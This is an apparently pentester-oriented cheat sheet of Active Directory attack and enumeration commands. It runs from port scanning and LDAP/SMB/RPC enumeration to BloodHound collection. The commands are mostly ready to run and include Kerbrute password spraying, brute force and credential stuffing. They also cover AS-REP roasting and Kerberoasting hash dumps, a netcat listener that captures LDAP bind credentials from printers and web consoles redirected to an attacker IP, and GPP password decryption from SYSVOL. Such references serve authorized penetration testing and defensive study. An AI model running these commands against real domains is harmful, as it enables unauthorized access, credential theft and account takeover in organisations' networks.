Quick Reference

TechniqueToolRequires Creds
AD port scannmapNo
DNS SRV enumerationdig / nslookupNo
LDAP anonymous bindldapsearchNo
Full LDAP dumpldapdomaindumpNo / Yes
SMB/User enumerationenum4linux-ngNo / Yes
AD enumeration swiss-knifeNetExec (nxc)No / Yes
Attack path mappingbloodhound-pythonYes
Kerberos user enumKerbruteNo
User / SID enumerationlookupsid.py, GetADUsers.pyNo / Yes
RPC enumerationrpcclientNo / Yes
LDAP attribute querieswindapsearchYes
Share content discoverynxc spider_plusYes
adminCount / SPN / UAC flagsldapsearchYes

Environment Setup

Before attacking an AD environment from Kali, configure your local resolver and Kerberos client so tools resolve domain names correctly.

/etc/hosts

echo "DC_IP  DC_HOSTNAME.TARGET_DOMAIN DC_HOSTNAME TARGET_DOMAIN" | sudo tee -a /etc/hosts
# Example structure (use your actual values):
# 10.10.10.10  dc01.corp.local corp.local dc01

/etc/krb5.conf

[libdefaults]
    default_realm = TARGET_DOMAIN_UPPER
    dns_lookup_realm = false
    dns_lookup_kdc = true
    ticket_lifetime = 24h
    renew_lifetime = 7d
    forwardable = true

[realms]
    TARGET_DOMAIN_UPPER = {
        kdc = DC_HOSTNAME.TARGET_DOMAIN
        admin_server = DC_HOSTNAME.TARGET_DOMAIN
    }

[domain_realm]
    .TARGET_DOMAIN = TARGET_DOMAIN_UPPER
    TARGET_DOMAIN  = TARGET_DOMAIN_UPPER

Note: TARGET_DOMAIN_UPPER is the domain in all-caps (e.g. CORP.LOCAL). Kerberos realms are case-sensitive.


Port Scanning — Identifying AD Infrastructure

Scan for the standard Active Directory service ports to identify domain controllers and supporting services.

sudo nmap -sV -Pn -p 88,135,139,389,445,464,593,636,3268,3269,5985,9389 TARGET_IP -oN ad_ports.txt

Key ports and their meaning:

PortServiceNotes
88/tcpKerberosKDC — confirms DC
389/tcpLDAPDirectory service
636/tcpLDAPSLDAP over TLS
3268/tcpGlobal Catalog LDAPForest-wide queries
3269/tcpGlobal Catalog LDAPSGC over TLS
445/tcpSMBFile shares, SAMR, RPC over SMB
135/tcpRPC Endpoint MapperMS-RPC
593/tcpRPC over HTTPOften on DCs
464/tcpKpasswdKerberos password change
5985/tcpWinRM HTTPPowerShell remoting
9389/tcpAD Web ServicesADWS

Full subnet scan to map all DCs and member servers:

sudo nmap -sV -Pn -p 88,389,445,636,3268 10.10.10.0/24 --open -oN dc_discovery.txt

DNS Enumeration

DNS holds a wealth of AD topology information. SRV records identify DCs, GC servers, and Kerberos infrastructure.

SRV Record Queries

# Identify all LDAP-capable DCs
dig @DC_IP _ldap._tcp.dc._msdcs.TARGET_DOMAIN SRV

# Identify Kerberos KDCs
dig @DC_IP _kerberos._tcp.dc._msdcs.TARGET_DOMAIN SRV

# Identify Global Catalog servers
dig @DC_IP _gc._tcp.TARGET_DOMAIN SRV

# PDC Emulator
dig @DC_IP _ldap._tcp.pdc._msdcs.TARGET_DOMAIN SRV

# All DCs in the domain
dig @DC_IP _ldap._tcp.TARGET_DOMAIN SRV

# Enumerate child domains (if forest)
dig @DC_IP _msdcs.TARGET_DOMAIN NS

Expected SRV output example:

_ldap._tcp.dc._msdcs.corp.local. 600 IN SRV 0 100 389 dc01.corp.local.

nslookup

nslookup -type=SRV _ldap._tcp.dc._msdcs.TARGET_DOMAIN DC_IP
nslookup -type=NS TARGET_DOMAIN DC_IP
nslookup -type=MX TARGET_DOMAIN DC_IP

Zone Transfer Attempt

dig axfr TARGET_DOMAIN @DC_IP

Note: Zone transfers are rarely allowed from external hosts in modern AD environments. A successful zone transfer reveals all DNS records including internal hostnames and IPs.


LDAP Anonymous Bind Check

Before using credentials, test whether the DC allows anonymous LDAP bind (misconfiguration).

# Check anonymous bind — returns base DN info if enabled
ldapsearch -x -H ldap://DC_IP -b '' -s base '(objectclass=*)' namingContexts

# Attempt anonymous enumeration of all objects
ldapsearch -x -H ldap://DC_IP -b "DC=TARGET_DOMAIN_PART1,DC=TARGET_DOMAIN_PART2" -s sub "(objectclass=*)" | head -100

LDAP Enumeration with Credentials

# Bind with username and password
ldapsearch -x -H ldap://DC_IP \
  -D "USERNAME@TARGET_DOMAIN" \
  -w "PASSWORD" \
  -b "DC=TARGET_DOMAIN_PART1,DC=TARGET_DOMAIN_PART2" \
  "(objectClass=user)" sAMAccountName userPrincipalName memberOf

# Enumerate all domain users
ldapsearch -x -H ldap://DC_IP \
  -D "USERNAME@TARGET_DOMAIN" \
  -w "PASSWORD" \
  -b "DC=TARGET_DOMAIN_PART1,DC=TARGET_DOMAIN_PART2" \
  "(&(objectClass=user)(objectCategory=person))" \
  sAMAccountName displayName mail pwdLastSet accountExpires userAccountControl

# Enumerate groups
ldapsearch -x -H ldap://DC_IP \
  -D "USERNAME@TARGET_DOMAIN" \
  -w "PASSWORD" \
  -b "DC=TARGET_DOMAIN_PART1,DC=TARGET_DOMAIN_PART2" \
  "(objectClass=group)" cn member

# Enumerate computers
ldapsearch -x -H ldap://DC_IP \
  -D "USERNAME@TARGET_DOMAIN" \
  -w "PASSWORD" \
  -b "DC=TARGET_DOMAIN_PART1,DC=TARGET_DOMAIN_PART2" \
  "(objectClass=computer)" dNSHostName operatingSystem

Key LDAP Attribute Queries

# Users with adminCount=1 (protected by AdminSDHolder)
ldapsearch -x -H ldap://DC_IP \
  -D "USERNAME@TARGET_DOMAIN" -w "PASSWORD" \
  -b "DC=TARGET_DOMAIN_PART1,DC=TARGET_DOMAIN_PART2" \
  "(&(objectClass=user)(adminCount=1))" sAMAccountName

# Users with SPN set (Kerberoasting candidates)
ldapsearch -x -H ldap://DC_IP \
  -D "USERNAME@TARGET_DOMAIN" -w "PASSWORD" \
  -b "DC=TARGET_DOMAIN_PART1,DC=TARGET_DOMAIN_PART2" \
  "(&(objectClass=user)(servicePrincipalName=*))" sAMAccountName servicePrincipalName

# Accounts with DONT_REQUIRE_PREAUTH (AS-REP roasting candidates)
# userAccountControl flag 4194304 = DONT_REQ_PREAUTH
ldapsearch -x -H ldap://DC_IP \
  -D "USERNAME@TARGET_DOMAIN" -w "PASSWORD" \
  -b "DC=TARGET_DOMAIN_PART1,DC=TARGET_DOMAIN_PART2" \
  "(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))" sAMAccountName

# Accounts with password not required
# userAccountControl flag 32 = PASSWD_NOTREQD
ldapsearch -x -H ldap://DC_IP \
  -D "USERNAME@TARGET_DOMAIN" -w "PASSWORD" \
  -b "DC=TARGET_DOMAIN_PART1,DC=TARGET_DOMAIN_PART2" \
  "(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=32))" sAMAccountName

# Unconstrained delegation computers (UAC flag 524288)
ldapsearch -x -H ldap://DC_IP \
  -D "USERNAME@TARGET_DOMAIN" -w "PASSWORD" \
  -b "DC=TARGET_DOMAIN_PART1,DC=TARGET_DOMAIN_PART2" \
  "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" sAMAccountName

# Trust objects
ldapsearch -x -H ldap://DC_IP \
  -D "USERNAME@TARGET_DOMAIN" -w "PASSWORD" \
  -b "CN=System,DC=TARGET_DOMAIN_PART1,DC=TARGET_DOMAIN_PART2" \
  "(objectClass=trustedDomain)" trustPartner trustDirection trustAttributes

ldapdomaindump

ldapdomaindump produces JSON and HTML output of the full AD structure — users, groups, computers, policies, trusts.

# Without credentials (anonymous bind)
ldapdomaindump ldap://DC_IP -o /tmp/ldd_output/

# With credentials
ldapdomaindump -u "TARGET_DOMAIN\\USERNAME" -p "PASSWORD" DC_IP -o /tmp/ldd_output/

# With LDAPS
ldapdomaindump -u "TARGET_DOMAIN\\USERNAME" -p "PASSWORD" ldaps://DC_IP -o /tmp/ldd_output/ --no-json --no-grep

Output files of interest:

domain_users.html       — all users with attributes
domain_groups.html      — groups and memberships
domain_computers.html   — computers, OS versions
domain_trusts.html      — trust relationships
domain_policy.html      — password / lockout policy

enum4linux-ng

enum4linux-ng is a rewrite of enum4linux with improved output and Python3 support. It wraps ldap, smb, and rpc calls.

# Full enumeration without credentials
enum4linux-ng -A DC_IP

# Full enumeration with credentials
enum4linux-ng -A -u USERNAME -p PASSWORD DC_IP

# Export results
enum4linux-ng -A -u USERNAME -p PASSWORD DC_IP -oA /tmp/enum4linux_output

# Specific modules: -U users, -G groups, -S shares, -P password policy, -R rid brute
enum4linux-ng -U -G -S DC_IP

Sample output excerpt:

[+] Domain: TARGET_DOMAIN
[+] Users found via RPC:
username: USERNAME  rid: 1000
[+] Groups found via RPC:
groupname: Domain Admins  gid: 512

NetExec (nxc)

NetExec (successor to CrackMapExec) is the primary Swiss-army knife for AD enumeration and exploitation.

SMB Enumeration

# Null session probe
nxc smb DC_IP -u '' -p ''
nxc smb DC_IP -u 'a' -p ''

# Host and domain info
nxc smb DC_IP -u USERNAME -p PASSWORD

# User enumeration
nxc smb DC_IP -u USERNAME -p PASSWORD --users

# Group enumeration
nxc smb DC_IP -u USERNAME -p PASSWORD --groups

# Local group enumeration
nxc smb DC_IP -u USERNAME -p PASSWORD --local-groups

# Share enumeration
nxc smb DC_IP -u USERNAME -p PASSWORD --shares

# Logged-on users
nxc smb DC_IP -u USERNAME -p PASSWORD --loggedon-users

# Active sessions
nxc smb DC_IP -u USERNAME -p PASSWORD --sessions

# Password policy
nxc smb DC_IP -u USERNAME -p PASSWORD --pass-pol

# RID bruteforce for user enumeration
nxc smb DC_IP -u USERNAME -p PASSWORD --rid-brute

# Generate relay target list (hosts without SMB signing)
nxc smb 10.10.10.0/24 --gen-relay-list relay_targets.txt

# All at once
nxc smb DC_IP -u USERNAME -p PASSWORD --groups --local-groups --loggedon-users \
  --rid-brute --sessions --users --shares --pass-pol

LDAP Enumeration

# Basic LDAP connection test
nxc ldap DC_IP -u USERNAME -p PASSWORD

# Enumerate users via LDAP
nxc ldap DC_IP -u USERNAME -p PASSWORD --users

# Enumerate groups
nxc ldap DC_IP -u USERNAME -p PASSWORD --groups

# Computers
nxc ldap DC_IP -u USERNAME -p PASSWORD --computers

# Privileged users (adminCount=1)
nxc ldap DC_IP -u USERNAME -p PASSWORD --admin-count

# Accounts with unconstrained delegation
nxc ldap DC_IP -u USERNAME -p PASSWORD --trusted-for-delegation

# Accounts not requiring a password
nxc ldap DC_IP -u USERNAME -p PASSWORD --password-not-required

# ASREPRoast via LDAP
nxc ldap DC_IP -u USERNAME -p PASSWORD --asreproast asrep_hashes.txt
nxc ldap DC_IP -u users.txt -p '' --asreproast asrep_hashes.txt

# Kerberoast via LDAP
nxc ldap DC_IP -u USERNAME -p PASSWORD --kerberoasting kerb_hashes.txt

# Enumerate trusted domains
nxc ldap DC_IP -u USERNAME -p PASSWORD --trusted-for-delegation

Share Content Discovery (spider_plus)

# Spider all accessible shares for interesting files
nxc smb DC_IP -u USERNAME -p PASSWORD -M spider_plus

# Spider with output to file
nxc smb DC_IP -u USERNAME -p PASSWORD -M spider_plus -o OUTPUT=/tmp/spider_output

# Check specific share
nxc smb DC_IP -u USERNAME -p PASSWORD --shares -M spider_plus

BloodHound Python

bloodhound-python collects AD data remotely and outputs JSON files for import into BloodHound for attack path analysis.

# Full collection
bloodhound-python -u USERNAME -p PASSWORD -ns DC_IP -d TARGET_DOMAIN -c All

# Full collection with zip output
bloodhound-python -u USERNAME -p PASSWORD -ns DC_IP -d TARGET_DOMAIN -c All --zip

# Collection including trust relationships
bloodhound-python -u USERNAME -p PASSWORD -ns DC_IP -d TARGET_DOMAIN -c All,Trusts

# Targeted collection — only sessions (faster, less noisy)
bloodhound-python -u USERNAME -p PASSWORD -ns DC_IP -d TARGET_DOMAIN -c Session

# Collection types available: All, DCOnly, Group, LocalAdmin, RDP, DCOM, PSRemote, Trusts, LoggedOn, Session, ObjectProps, ACL, Container, Default

# With Kerberos ticket
export KRB5CCNAME=/tmp/USERNAME.ccache
bloodhound-python -u USERNAME -k -no-pass -ns DC_IP -d TARGET_DOMAIN -c All

# Via SOCKS proxy
proxychains bloodhound-python -u USERNAME -p PASSWORD -ns DC_IP -d TARGET_DOMAIN -c All

# With specific DC
bloodhound-python -u USERNAME -p PASSWORD -ns DC_IP -d TARGET_DOMAIN -dc DC_HOSTNAME.TARGET_DOMAIN -c All

Import the resulting JSON files into the BloodHound GUI and use pre-built queries:

  • “Find all Domain Admins”
  • “Shortest Path to Domain Admins”
  • “Find Principals with DCSync Rights”
  • “Computers with Unconstrained Delegation”

Kerbrute

kerbrute performs Kerberos-based user enumeration and password spraying without touching LDAP or SMB — stealthier and does not require credentials for user enumeration.

# User enumeration (sends AS-REQ per username, looks for valid pre-auth errors)
kerbrute userenum -d TARGET_DOMAIN --dc DC_IP usernames.txt -o valid_users.txt

# Password spray (single password against all users — mind lockout policy)
kerbrute passwordspray -d TARGET_DOMAIN --dc DC_IP valid_users.txt PASSWORD

# Brute force single user
kerbrute bruteuser -d TARGET_DOMAIN --dc DC_IP passwords.txt USERNAME

# Credential stuffing from file (user:pass per line)
kerbrute bruteforce -d TARGET_DOMAIN --dc DC_IP credentials.txt

Note: Kerbrute user enumeration generates Kerberos AS-REQ events (Event ID 4768). Password spray generates 4771 (pre-auth failure). These are logged but are less noisy than LDAP/SMB auth attempts. Always check the domain password lockout policy before spraying.


Impacket — GetADUsers and lookupsid

GetADUsers.py

# Enumerate all domain users
GetADUsers.py -all TARGET_DOMAIN/USERNAME:PASSWORD -dc-ip DC_IP

# Without password (will prompt)
GetADUsers.py -all TARGET_DOMAIN/USERNAME -dc-ip DC_IP

# Output to file
GetADUsers.py -all TARGET_DOMAIN/USERNAME:PASSWORD -dc-ip DC_IP > ad_users.txt

lookupsid.py — SID Enumeration

lookupsid.py brute-forces RIDs over RPC to enumerate users, groups, and aliases including the domain SID.

# Enumerate with credentials
lookupsid.py TARGET_DOMAIN/USERNAME:PASSWORD@DC_IP

# With NTLM hash
lookupsid.py -hashes :HASH TARGET_DOMAIN/USERNAME@DC_IP

# Null session (if allowed)
lookupsid.py anonymous@DC_IP

# Limit RID range
lookupsid.py TARGET_DOMAIN/USERNAME:PASSWORD@DC_IP 5000

Sample output:

[*] Brute forcing SIDs at DC_IP
[*] StringBinding ncacn_np:DC_IP[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX
500: TARGET_DOMAIN\Administrator (SidTypeUser)
501: TARGET_DOMAIN\Guest (SidTypeUser)
512: TARGET_DOMAIN\Domain Admins (SidTypeGroup)
513: TARGET_DOMAIN\Domain Users (SidTypeGroup)

rpcclient

rpcclient provides interactive and scriptable RPC enumeration over SMB.

# Connect with credentials
rpcclient -U "USERNAME%PASSWORD" DC_IP

# Null session
rpcclient -U "" -N DC_IP

# Run single command
rpcclient -U "USERNAME%PASSWORD" DC_IP -c "enumdomusers"

Useful commands inside rpcclient:

# Enumerate domain users
enumdomusers

# Enumerate domain groups
enumdomgroups

# Enumerate domain aliases (local groups)
enumalsgroups domain
enumalsgroups builtin

# Query specific user by RID
queryuser 0x1f4

# Query specific group by RID
querygroup 0x200

# Enumerate group members
querygroupmem 0x200

# Get domain password policy
querydominfo

# Enumerate shares
netshareenum
netshareenumall

# Enumerate trust relationships
dsenumdomtrusts

# Get DC info
dsgetdcname TARGET_DOMAIN

# Look up a username
lookupnames USERNAME

# Look up a SID
lookupsids DOMAIN_SID-RID

One-liner to dump all users and their RIDs:

rpcclient -U "USERNAME%PASSWORD" DC_IP -c "enumdomusers" | \
  grep -oP '\[.*?\]' | tr -d '[]' | \
  while read user; do
    rpcclient -U "USERNAME%PASSWORD" DC_IP -c "queryuser $user" 2>/dev/null
  done

windapsearch

windapsearch is a Python3 LDAP enumeration tool with pre-built AD-focused queries.

# Enumerate users
python3 windapsearch.py --dc-ip DC_IP -u "TARGET_DOMAIN\\USERNAME" -p PASSWORD -U

# Enumerate computers
python3 windapsearch.py --dc-ip DC_IP -u "TARGET_DOMAIN\\USERNAME" -p PASSWORD -C

# Enumerate groups
python3 windapsearch.py --dc-ip DC_IP -u "TARGET_DOMAIN\\USERNAME" -p PASSWORD -G

# Enumerate privileged users (Domain Admins, Enterprise Admins, etc.)
python3 windapsearch.py --dc-ip DC_IP -u "TARGET_DOMAIN\\USERNAME" -p PASSWORD --da

# Enumerate members of specific group
python3 windapsearch.py --dc-ip DC_IP -u "TARGET_DOMAIN\\USERNAME" -p PASSWORD -m "Remote Desktop Users"

# Enumerate GPOs
python3 windapsearch.py --dc-ip DC_IP -u "TARGET_DOMAIN\\USERNAME" -p PASSWORD --gpos

# Full enumeration with all flags
python3 windapsearch.py --dc-ip DC_IP -u "TARGET_DOMAIN\\USERNAME" -p PASSWORD -U -G -C --da -m "Remote Desktop Users"

# Enumerate custom LDAP filter
python3 windapsearch.py --dc-ip DC_IP -u "TARGET_DOMAIN\\USERNAME" -p PASSWORD \
  --custom "(&(objectClass=user)(adminCount=1))"

LDAP Credential Sniffing

Some applications (printers, scanners, web consoles) store LDAP credentials and expose a “test connection” button. By redirecting the LDAP server to your listener, you can capture credentials in cleartext.

# Start netcat listener on LDAP port
sudo nc -nlvp 389

# In the target application's admin console:
# Change LDAP server IP to YOUR_ATTACKER_IP
# Click "Test Connection"
# Credentials will appear in cleartext on your listener

Note: This is a low-noise technique that does not require any active injection. It works on printers, Confluence, Jenkins, and many other enterprise products that store LDAP bind credentials.


GPP Passwords in SYSVOL

Group Policy Preferences (GPP) used to store credentials in SYSVOL in an encrypted but reversible format. The AES key was published by Microsoft.

# Check SYSVOL for GPP passwords
nxc smb DC_IP -u USERNAME -p PASSWORD -M gpp_password

# Impacket Get-GPPPassword
Get-GPPPassword.py "TARGET_DOMAIN/USERNAME:PASSWORD@DC_HOSTNAME.TARGET_DOMAIN" -dc-ip DC_IP

# Manual: mount SYSVOL and search for cpassword fields
smbclient //DC_IP/SYSVOL -U "TARGET_DOMAIN/USERNAME%PASSWORD"
# Inside smbclient:
recurse ON
prompt OFF
mget *

# Search downloaded files for cpassword
grep -r "cpassword" /tmp/sysvol_dump/

# Decrypt found cpassword value
gpp-decrypt CPASSWORD_HASH

When approaching a new AD environment from Kali, follow this workflow:

1. Scan for AD ports → nmap -p 88,389,445,636,3268 SUBNET/24
2. DNS enumeration → dig SRV records to find all DCs
3. Configure /etc/hosts and krb5.conf
4. Check LDAP anonymous bind → ldapsearch anonymous
5. SMB null session → nxc smb DC_IP -u '' -p ''
6. Enumerate users without creds → kerbrute userenum
7. Once credentials obtained:
   a. ldapdomaindump for full AD dump
   b. bloodhound-python -c All for attack path analysis
   c. nxc ldap for adminCount, delegation, asreproast targets
   d. GetUserSPNs.py for Kerberoasting targets
   e. findDelegation.py for delegation attack surface

Disclaimer: For educational purposes only. Unauthorized access to computer systems is illegal.